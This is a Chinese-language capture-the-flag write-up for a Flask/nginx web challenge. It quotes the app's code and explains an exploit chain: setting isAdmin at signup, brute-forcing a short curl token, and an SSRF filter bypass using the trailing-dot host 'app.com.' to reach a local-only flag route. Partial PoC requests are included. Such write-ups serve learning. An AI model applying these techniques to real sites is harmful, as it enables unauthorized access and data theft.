Background

不说出处了,贴一小部分代码,找到了说明你有缘 或者是国内又来抄题了

flag获取出口

@app.route('/app/flag', methods=['GET'])
def flag():
    ip = ip_address(request.remote_addr)
    if ip.is_private:
        FLAG = open('./flag.txt','r').read()
        return FLAG
    else:
        return f"Only local access allowed", 403

要求我们访问/app/flag来获得flag

   url = build_url(scheme, host, port, path)
        if url:
            for chr in ['@', '{', '}', ',']:
                if chr in url:
                    return render_template('admin.html', msg='Not allowed string or character')
            try:
                response = run(
                    ["curl", f"{url}"], capture_output=True, text=True, timeout=1
                )
                return render_template('admin.html', response=response.stdout)

/app/admin有权限执行curl设想我们要curl这个 /app/flag就可以了
但是他这个build_url是自写的 还需要跟一下

def build_url(scheme, host, port, path=''):
    try:
        port = int(port)
        if not (port > 1 or port < 0x10000):
            return False
        
        if not scheme.startswith('http') or len(scheme) > 9:
            return False
        
        host_pattern = r'^((\d{1,3}\.){3}\d{1,3}|([a-zA-Z0-9\-]+\.)+[a-zA-Z\.]{2,})$'
        if not match(host_pattern,host):
            return False
        
        if not path[0] == '/':
            path = '/' + path

        url = (scheme + host + ':' + str(port) + path).lower()
        parsed_url = parse.urlparse(url)
        parsed_host = parsed_url.netloc.split(':')[0]
        if (match(r'^((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])$', parsed_host) and ip_address(parsed_host).is_private) or (parsed_host == 'app.com'):
            return False
        
        return url

关键点在于匹配到正常ip ip不能是私有的ip,我们要怎么发出这个curl 请求也是个关键
容器分两个部分nginx 和flask nginx配置了403鉴权
总结一下 1.需要先是admin权限 2.curl 在限制情况下访问到/app/flag

解析

看下这个代码

@app.route("/app/admin", methods=["GET", "POST"])
def admin():
    if not session:
        return redirect("/app/login")

    if session["isAdmin"] == False:
        return redirect("/app/guest")

    if request.method == "GET":
        return render_template("admin.html")
    else:
        if not request.cookies['X-CURL-TOKEN'] or request.cookies['X-CURL-TOKEN'] != '[**REDACTED**]':
            return render_template('admin.html', msg='Token is not valid')
        scheme = request.form['scheme'].strip()
        host = request.form['host'].strip()
        port = request.form['port'].strip()
        path = request.form['path'].strip()

        if scheme == '' or host == '' or port == '':
            return redirect('/app/admin')
        
        url = build_url(scheme, host, port, path)

首先看看这个is_Admin怎么赋值的

        values = {'isAdmin': 0}
        values.update(request.form.to_dict(flat=True))

如果表单数据中包含 'isAdmin' 键,它的值就会覆盖默认值 0 而且有一个X-CURL-TOKEN
有个奇妙的X-CURL-TOKEN 我都没仔细读 在nginx的entrypoint.sh有生成内容

#!/bin/bash
RANDOM_DIR=$(openssl rand -hex 1)
mkdir -p /etc/nginx/${RANDOM_DIR}
echo "CURL_TOKEN=[REDACTED]" > /etc/nginx/${RANDOM_DIR}/curl-token
exec "$@"

一位的话是可以被爆破的

    server {
        listen 8001;
        server_name  _;
        root   /;

        location = / {
            proxy_pass http://app.com:8002/app;
        }

        location ~ ^/app/flag {
        return 403;
    }

        location ~ ^/app {
            proxy_pass http://app.com:8002;
            proxy_set_header Host $Host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }

从nginx可以看到走了一层代理
而且在build url里可以看到检测了app.com的关键字 但可以用app.com.来绕过
这个tricks叫FQDN 意思是完全限定域名最后一个点 (.) 表示该域名是唯一的,并且不依赖于任何其他父域。这可能有效也可能无效,具体取决于 DNS 处理方法。
那就通了
注册1个用户 参数带上is_Admin=1 然后爆破X-CURL-TOken 再请求既可以 我放上部分poc

res = sess.post(f"{URL}/app/signup", data={"username": USERNAME, "password": PASSWORD, "isAdmin":1})
res = sess.post(f"{URL}/app/admin", data={'scheme': 'http://', 'host':'app.com.', 'port':'8002', 'path':'/app/flag'}, cookies={'X-CURL-TOKEN': CURL_TOKEN})

后记

确实好题 思路很有趣的一个题 如果找到这了 大概率说明也被偷了 但你运气好奥